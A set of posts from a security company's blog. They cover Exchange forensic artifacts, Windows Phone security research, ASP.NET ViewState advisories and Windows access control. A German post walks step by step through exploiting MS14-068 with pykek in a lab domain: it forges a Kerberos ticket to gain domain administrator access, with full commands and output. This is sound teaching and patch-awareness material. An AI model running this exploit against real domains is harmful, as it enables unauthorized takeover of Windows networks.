Exchange Forensics


The number one form of communication in corporate environments is email. Alone in 2015, the number of business emails sent and received per day were estimated to be over 112 billion [1] and employees spend on average 13 hours per week in their email inbox [2]. Unfortunately, emails are at times also misused for illegitimate communication. Back in the days when the concept of email was designed, security was not the main focus of the inventors and some of the design short comings are still problematic today. The sender rarely uses encryption and the receiver cannot check the integrity of unprotected emails. Not even the metadata in the header of an email can be trusted as an attacker can easily forge this information. Even though many attempts have been made into securing email communication, there are still a lot of unsecured emails sent every day. This is one of the reasons why attackers still exploit weaknesses in email communication. In our experience, a lot of forensic investigations include an attacker either stealing/leaking information via email or an employee unintentionally opening Malware he received via email. Once this has happened, there is no way around a forensic investigation in order to answer key question such as who did what, when and how? Because many corporate environments use Microsoft Exchange as mailing system, we cover some basics on what kind of forensic artifacts the Microsoft Exchange environment provides.

Microsoft Exchange Architecture

In order to understand the different artifacts we first take a look at the basic Microsoft Exchange architecture and the involved components. The diagram below this paragraph shows the architectural concepts in the On-premises version of Exchange 2016. Edge Transport Servers build the perimeter of the email infrastructure. They handle external email flow as well as apply antispam and email flow rules. Database availability groups (DAGs) form the heart of Microsoft’s Exchange environment. They contain a group of Mailbox servers and host a set of databases. The Mailbox servers contain the transport services that are used to route emails. They also contain the client access service, which is responsible for routing or proxying connections to the corresponding backend services on a Mailbox server. Clients don’t connect directly to the backend services. When a client sends an email through the Microsoft Exchange infrastructure, it always traverses at least one Mailbox server.

architecture[3] (Exchange 2016 Architecture, Microsoft)

Compliance Features

Microsoft Exchange provides multiple compliance features. Each of those compliance features provides a different set of information to an investigator and it is important to have a basic understanding of their behavior in order to understand which feature can provide answer to which question. The most important compliance features are covered in the following paragraphs.

Message Tracking

The message tracking compliance feature writes a record of all activity as emails flow through Mailbox servers and Edge Transport servers into a log file. Those logs contain details regarding the sender, recipient, message subject, date and time. By default the message tracking logs are stored for a maximum of 30 days if the size of the log files does not grow bigger than 1000MB.

The following example shows the message tracking log entries created when the user “” sends a message with the MessageSubject “Meeting” to the user ““. Note that in this example both users have their mailboxes on the same server.

EventId    Source      Sender        Recipients    MessageSubject
-------    ------      ------        ----------    --------------
RECEIVE    SMTP {} Meeting
SEND       SMTP {} Meeting

The message content is not stored as part of message tracking logs. By default, the subject line of an email message is stored in the tracking logs, however this can be disabled in the configuration settings. [4]

Single Item Recovery

Single Item Recovery is a compliance feature that essentially allows you to recover individual emails without having to restore them from a full database backup. If a user deletes an email in Outlook, it goes to the “Deleted Items” folder. When the user deletes this email from the “Deleted Items” folder, the email will be placed into the “Dumpster” (soft delete). The following screenshots show how the “Dumpster” can be accessed:

recover_deleted_items1[5] (Recover deleted items in Outlook, Microsoft)

When clicking on the “Recover Deleted Items” trash symbol, the “Dumpster” gets opened as shown on the following screenshot:


[5] (Recover deleted items in Outlook, Microsoft)

From the “Dumpster”, messages can either be recovered or purged completely (hard delete). They can still be recovered if a backup of the mailbox is available of course. When Single Item Recovery is enabled it means that emails remain recoverable for administrators, even if the mailbox owner deletes the messages from the inbox, empties the “Deleted Items” folder and then purges the content of the “Dumpster”. Single Item Recovery is not enabled by default and has to be enabled prior to the date of an investigation. In order to recover a message, the following information is needed [6]:

  • The source mailbox that needs to be searched.
  • The target mailbox into which the emails will be recovered.
  • Search criteria such as sender, recipient or keywords in the message.

With the information above, an email can be found using the Exchange Management Shell (EMS) as shown in the following example.

Search-Mailbox "Alice" -SearchQuery "from:Bob" -TargetMailbox "Investigation Search Mailbox" -TargetFolder "Alice Recovery" -LogLevel Full

In-Place Hold

In-Place Hold can be used to preserve mailbox items. If this compliance feature is enabled, an email will be kept, even if it was purged by a user (deleted from the “Dumpster” folder). Also if an item is modified, a copy of the original version is retained. The In-Place hold is usually activated during investigations in order to preserve the Mailbox content of an individual. The individual do not notice that they are “on hold”. A query with parameters can be used to granularly define the scope of items to hold. By default In-Place Hold is disabled and if neither Single Item Recover nor the In-Place Hold is enabled, an email will be permanently deleted if a user purges (deletes) it from the “Dumpster.

Mailbox Auditing

Mailboxes can contain sensitive information including personally identifiable information (PII). Therefore it is important that it gets tracked who logged on to a mailbox and which actions were taken. It is especially important to track access to mailboxes by users other than the mailbox owner, the so called delegates.

By default mailbox auditing is disabled and when enabled it requires more space on the corresponding mailbox. If enabled, one can specify which user actions (for example, accessing, moving, or deleting a message) are logged per logon type (administrator, delegate user, or owner). Audit log entries also include further important information such as the client IP address, host name, and processes or clients used to access the mailbox. If the auditing policy is configured to only include key records such as sending or deleting items there is no noticeable impact in terms of storage and performance.

Administrator Auditing

This compliance feature is used to log changes that an administrator makes to the Exchange Server configuration. By default, the log files are enabled and kept for 90 days. Changes to the administrator auditing configuration are always logged. The log files are stored in a hidden dedicated mailbox which cannot be opened in Outlook or OWA.


Exchange email flow rules, also known as transport rules can be used to look for specific conditions in messages that pass through an Exchange Server. Those rules are similar to the Inbox rules, a lot of email client’s offer. The main difference between an email flow rule and a rule one would setup in an email client is that email flow rules take action on messages while they are in transit, as opposed to after the message is delivered. Further, email flow rules have a richer set of conditions, exceptions as well as actions, which provide the flexibility to implement many types of messaging policies. [7]

Journaling allows recording a copy of all email communications and sending it to a dedicated mailbox on an Exchange Server. Archiving on the other hand can be used to backup up data, removing it from its native environments and store a copy on another system. Finally there is always the option of a full backup of an Exchange database. This creates and stores a complete copy of the database file as well as transaction logs.


As we have seen, Microsoft Exchange provides various compliance features that help during forensic investigations involving email analysis. Having an understanding of which artifacts are available is key. The following table summarises the compliance features discussed in this post:


Courses and Beer-Talk Reference

In order to directly share our experience in this field we choose “Exchange Forensics” as topic for our upcoming beer talks. Don’t hesitate to sign up if you are interested. For more information click on the link next to the location you would like to attend:

If you like to dive even deeper, we provide the Security Training: Forensic Investigations. It covers:

  • Introduction to forensic investigations
  • Chain of custody
  • Imaging
  • Basic of file systems
  • Traces in slack space
  • Traces in office documents
  • Analysis of windows systems
  • Analysis of network dumps
  • Analysis of OSX systems
  • Analysis of mobile devices
  • Forensic readiness
  • Log analysis

If you are interested please visit our “Security Trainings” section to get more information: or get in touch if you have questions.

Sources and References:

[0] E-mail Forensics in a Corporate Exchange Environment, Nuno Mota,

[1] Email-Statistics-Report-2015-2019, The Radicati Group, Inc.,

[2] the-social-economy, McKinsey & Company,

[3] Exchange 2016 Architecture, Microsoft,

[4]  Message Tracking, Microsoft,

[5] Recover deleted items in Outlook, Microsoft,

[6] Recover deleted messages in a user’s mailbox, Microsoft,

[7] Mail flow or transport rules Microsoft,

Windows Phone – Security State of the Art?

Compass Security recently presented its Windows Phone and Windows 10 Mobile research at the April 2016 Security Interest Group Switzerland (SIGS) event in Zurich.

The short presentation highlights the attempts made by our Security Analysts to bypass the security controls provided by the platform and further explains why bypassing them is not a trivial undertaking.

Windows 10 Mobile, which has just been publicly released on 17th March 2016, has further tightened its hardware-based security defenses, introducing multiple layers of protection starting already at boot time of the platform. Minimum hardware requirements therefore include the requirement for UEFI Secure Boot support and a Trusted Platform Module (TPM) conforming to the 2.0 specification. When connected to a MDM solution the device can use the TPM for the new health attestation service to provide conditional access to the company network, its resources and to trigger corrective measures when required.

Compared to earlier Windows Phone versions, Windows 10 Mobile finally allows end-users without access to an MDM solution or ActiveSync support to enable full disk encryption based on Microsoft BitLocker technology. Companies using an MDM solution also have fine grained control over the used encryption method and cipher strength. Similar control can be applied to TLS cipher suites and algorithms.

Newly introduced features also include the biometric authentication using Windows Hello (selected premium devices only for the moment) or the Enterprise Data Protection (EDP) which helps separating personal and enterprise data and serves as a data loss protection solution. EDP requires the Windows 10 Mobile Enterprise edition and is currently available to a restricted audience for testing purposes.

Similar to Windows 10 for workstations the Mobile edition automatically updates. Users of the Windows 10 Mobile Enterprise edition however have the option to postpone the downloading and installation of updates.

In addition the presentation introduces the Windows Bridges that will help developers to port existing mobile applications to the new platform. While a preview version for iOS (Objective C) has been made publicly available, Microsoft recently announced that the Windows Bridges for Android project has been cancelled. In the same week Microsoft announced the acquisition of Xamarin, a cross-platform development solution provider to ease the development of universal applications for the mobile platform.

The slides of the full presentation can be downloaded here.


This blog post resulted from internal research which has been conducted by Alexandre Herzog and Cyrill Bannwart.

Presentation about Windows Phone 8.1

Earlier this month, my colleague Cyrill Bannwart and I held two Compass Security Beer Talk presentations in Bern and Jona about Windows Phone 8.1 security. The slides are now online and cover:

  • Our (unsuccessful) black box attempts to break out from a Windows perspective
  • A review of the implemented security features in Windows Phone 8.1 from a mobile perspective
  • Our findings around MDM integration, WiFi Sense and the ability to access low level storage APIs

Phone encryption using BitLocker is only possible through ActiveSync or MDM Policy. An individual will therefore not be able to encrypt his phone (unless he’s really motivated to do so).

WiFi Sense is a controversial new feature of Windows Phone 8.1, announced for the desktop version of Windows 10 as well. It allows you to automatically connect to open WiFi networks around you and may share your WiFi credentials with your, Skype and Facebook friends.

Finally, we were able to bypass the Isolated Storage APIs and use low level storage APIs such as CreateFile2 & CopyFile2 to read and export all files stored on the phone within C:\Windows and its sub folders. Note that we were only able to perform this attack on an unlocked device using side-loaded applications. The abundance of dumped files to analyse (over 880 MB in around 10’000 files) certainly offer further opportunities to explore this system’s security.

Further references about WP 8.1

Vom Domäne Benutzer zum Domäne Administrator (exploit MS14-068)

Der von Microsoft publizierte “out-of-band” Patch MS14-068 [1] (Vulnerability in Kerberos Could Allow Elevation of Privilege – 3011780) behebt eine Schwachstelle in Kerberos, welche es einem normalen Benutzer erlaubt, administrative Privilegien in der Windows Domäne zu erlangen. Die ersten öffentlichen Artikel [2] mutmassten, dass die Kerberos Services den CRC32 Algorithmus als gütlige Signatur auf Tickets akzeptieren. Per letzten Freitag wurde dann ein Tool namens Pykek [3] (Python Kerberos Exploitation Kit) publiziert, mit welchem die Schwachstelle in ein paar wenigen Schritten ausgenutzt werden kann.

Im Hacking-Lab [4] können Abonnenten und Lizenznehmer diese Schwachstelle risikofrei, in einer geschützten Umgebung, selbst testen. Folgende Schritte erklären das Vorgehen:

  1. Download und entpacken von pykek (Python Kerberos Exploitation Kit) von
  2. Installieren des Pakets krb-user
    root@lcd806:~# apt-get install krb5-user
  3. Konfiguration des Domänenamen (in Grossbuchstaben): COMPA.NY sowie Authentication Service (AS) und Ticket Granting Service (TGS):
  4. Konfiguration des DNS /etc/resolve.conf welcher üblicherweise auf das Active Directory (AD): zeigt
  5. Starten von kinit
    root@lcd806:~# kinit hacker10@COMPA.NY
    Password for hacker10@COMPA.NY:
    kinit: Clock skew too great while getting initial credentials

    Hint: Das Kommando kann fehlschlagen, wenn die Serverzeit zuviel von der Zeit auf dem Angreifersystem abweicht. Es muss dann die Systemzeit des Angreifer wie in Schritt 6 und 7 gezeigt, nachgeführt werden.

  6. Optional: AD Systemzeit ermitteln, falls die Abweichung zu gross ist
    root@lcd806:~# nmap –sC
    | smb-os-discovery:
    |   OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
    |   OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
    |   Computer name: csl-ad
    |   NetBIOS computer name: CSL-AD
    |   Domain name: compa.ny
    |_  System time: 2014-12-07T15:07:11+01:00
    root@lcd806:~# date
    Sun Dec  7 15:17:47 CET 2014
  7. Optional: Nachführen der Systemzeit auf dem Angreifersystem, falls notwendig und nochmals den Schritt 5 durchführen.
  8. Prüfen der Kommunikation mit dem Domain Controller resp. Active Directory. Für //CSL-AD.COMPA.NY/c$ sollte ein “Access Denied” resultieren. Für //CSL-AD.COMPA.NY/netlogon ein “Success”.
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    tree connect failed: NT_STATUS_ACCESS_DENIED
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/netlogon
    Enter hacker10's password:
    Domain=[COMPA] OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    .                                   D        0  Wed Feb 18 14:22:57 2009
  9. Start rpcclient und eine Verbindung zum AD herstellen
    root@lcd806:~# rpcclient -k CSL-AD.COMPA.NY
  10. Die SID eines normalen User auslesen. Bspw. hacker10
    rpcclient $> lookupnames hacker10
    hacker10 S-1-5-21-3953427895-231737128-487567029-1107 (User: 1)
  11. Mit Hilfe der SID und pykek wird nun ein Ticket mit administrativen Privilegien generiert
    root@lcd806:~# python -u hacker10@COMPA.NY -s S-1-5-21-3953427895-231737128-487567029-1107 -d CSL-AD.COMPA.NY
    [+] Building AS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending AS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Building TGS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending TGS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Creating ccache file 'TGT_hacker10@COMPA.NY.ccache'... Done!
  12. Nun muss auf dem Angreifersystem noch das eben erstellt Kerberosticket gesetzt werden
    root@lcd806:~# mv TGT_hacker10\@COMPA.NY.ccache /tmp/krb5cc_0
  13. Das wars. Wir sind Domäne Administrator
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    AUTOEXEC.BAT                        A        0  Tue May  3 00:44:46 2005
    boot.ini                         AHSR      208  Tue May  3 21:30:40 2005
    CONFIG.SYS                          A        0  Tue May  3 00:44:46 2005
    Documents and Settings              D        0  Fri May 29 14:03:55 2009
    IO.SYS                           AHSR        0  Tue May  3 00:44:46 2005
    MSDOS.SYS                        AHSR        0  Tue May  3 00:44:46 2005
    NTDETECT.COM                     AHSR    47772  Tue May  3 21:21:58 2005
    ntldr                            AHSR   295536  Tue May  3 21:21:58 2005
    pagefile.sys                      AHS 402653184  Sat Sep 17 16:50:27 2011
    Program Files                      DR        0  Thu May  5 12:18:47 2011
    RECYCLER                          DHS        0  Tue May  3 22:24:29 2005
    System Volume Information         DHS        0  Tue May  3 21:34:10 2005
    test.txt                            A       10  Thu Sep 30 14:37:49 2010
    WINDOWS                             D        0  Thu May  5 14:34:45 2011
    wmpub                               D        0  Tue May  3 00:45:57 2005
    65535 blocks of size 131072. 32678 blocks available


Bekannte Issues

  • Es ist wichtig, dass die Zeit auf den Systemen synchron ist.
  • Gemäss öffentlichen Statements funktioniert pykek bis und mit Domain Controllers (DCs) mit Windows 2008 R2. Dies weil die Ausnutzung für DCs mit Windows 2012 und später “leicht komplizierter” [5,6] ist.


Installation des “out-of-band” Patch MS14-068


Alexandre Herzog für das Tracken der MS Issues und dieses Tutorial.



Disabling Viewstate’s MAC: why you deserve having now a broken ASP.NET web application

Lots of things happened since my first (and unique) blog post about ASP.NET Viewstate and its related weakness. This blog post will not yet disclose all the details or contain tools to exploit applications, but give some ideas why it’s really mandatory to both correct your web applications and install the ASP.NET patch.

Back in September 2012 I reported an issue in the ASP.NET framework which could be used to potentially execute remote code in a typical SharePoint installation. Microsoft patched its flagship products SharePoint and Outlook Web Access. They also released guidance in security advisory 2905247 which contained an optional patch to download, removing the ASP.NET framework’s ability to alter setting “EnableViewStateMac”. It was also made clear that Microsoft will forbid this setting in upcoming ASP.NET versions. ASP.NET version 4.5.2, released in May 2014, was the first version of ASP.NET to have this setting disabled. Microsoft released as part of this month’s Patch Tuesday a patch to remove support for setting EnableViewStateMac for all ASP.NET versions.

While this patch may break ASP.NET applications, remember that without this patch you’re vulnerable to a much bigger threat. Fixing the web application is in the very vast majority of the cases easy from a technical perspective (e.g. set up dedicated machine keys within a given web farm). But as pointed out in the ASP.NET article, the management and distribution of these machine keys must follow a strict process to avoid being disclosed to unwanted parties. Think of machine keys being an essential element of your application. If these keys have ever been disclosed, you have to change them immediately. Ensure software purchased or downloaded from the Internet does not contain pre-defined keys in the application’s web.config.

If you want to know more but missed my Area41 talk about this flaw, come over to the AppSec Forum Western Switzerland on November 4th to 6th in Yverdon-les-Bains . I will be presenting an updated version of my “Why .NET needs MACs and other serial(-ization) tales” talk about the underlying flaws, their history and how to exploit them.

Introduction to Windows Exploits

As part of the Compass research week, I dived into Windows exploit development. Conclusion is, that the basic exploiting principles from unix also apply on Windows. The biggest difference is the availability of much more advanced security tools, primarily debuggers and system analysis utilities, and some additional attack vectors like SEH. Also different versions of Windows provide drasticly different hardening features, like ASLR or DEP. But because of backwards compatibility and legacy software, some of the protections always seem to be missed (like the Microsoft Office Help Data Services Module, which misses ASLR, used in the latest CVE-2013-3893 IE exploit).

Nevertheless, I created a short presentation about a simple Windows remote exploit, whose purpose is to illustrate the basics for beginners of this black art.

The presentation is available here: WindowsExploitingIntro_v1.0_public

Microsoft Security Bulletin MS13-067 – Critical

As part of today’s monthly patch day, Microsoft fixed an issue I reported in September 2012 around (ASP).NET and SharePoint.

The vulnerability opens a new type of attack surface on ASP.NET if a given precondition regarding the Viewstate field is met. The impact is at least a breach of data integrity on the server side resulting typically in a denial of service. Leveraging the flaw to achieve remote code execution cannot be excluded though. The default configuration settings of ASP.NET are safe and do not allow an exploitation of the flaw.

But before uncovering more technical details about the issue, we want to ensure everyone had enough time to patch their servers adequately. For this reason, we will withhold further details during a grace period agreed with Microsoft’s Security Response Center to ensure all involved parties have enough time to react. In the meantime, we encourage you to patch the relevant servers and ensure your web applications at least enforce the default protection of the Viewstate field.

Access control in Windows

According to [Access Control, 2013], Access control refers to security features that control who [sic] can access resources in the operating system. Applications call access control functions to set who can access specific resources or control access to resources provided by the application.”

The Windows access control model is founded on two base components: access tokens and security descriptors. The relations and interactions between them are illustrated in the schema below, based on [Parts of the Access Control Model, 2013], [Access Tokens, 2013] and [Securable Objects, 2013].

Access Token visualisation

The following items of the schema were therefore further studied:

  • Security identifiers (SIDs) are unique and used to identify a trustee. SIDs are assigned by Active Directory for users within a Windows domain. Various well-known SIDs exist and while SIDs should not be used directly, they are consultable for everybody and their randomness or secrecy is not a security prerequisite [Security Identifiers, 2013]. SIDs are also used to identify logon sessions and are kept unique while a computer is running. The list of previously issued logon SIDs is reset on the reboot of the computer [Security Glossary – L, 2013].
  • Restricted tokens are copies of primary or impersonation access tokens with fewer enabled permissions. Compared to its original access token, a restricted token may contain fewer privileges, have the deny-only attribute set or specify a list of restricting SIDs [Restricted Tokens, 2013].
  • Primary versus impersonation tokens: a primary token is created by the operating system either on a user logon or when the user starts a process. An impersonation token is created when a server-side process captures the identity of a client and impersonates this client identity during the execution of the task. A server-side process using impersonation will have two tokens: first its primary token and a second impersonation token featuring details of the client. Moreover, an impersonation token has one of four different levels of impersonation: anonymous, identify, impersonate and delegate [Lebrun, 2013].

None of the above objects implement cryptography. No crypto-based verification is implemented in the checking process documented either [How AccessCheck Works, 2013].


Offline references

[Lebrun, 2013]: Lebrun, M. (2013, July-August). Faiblesse des mécanismes d’autentification: quelles solutions? MISC – Multi-System & Internet Securitry Cookbook(68), page 12-21.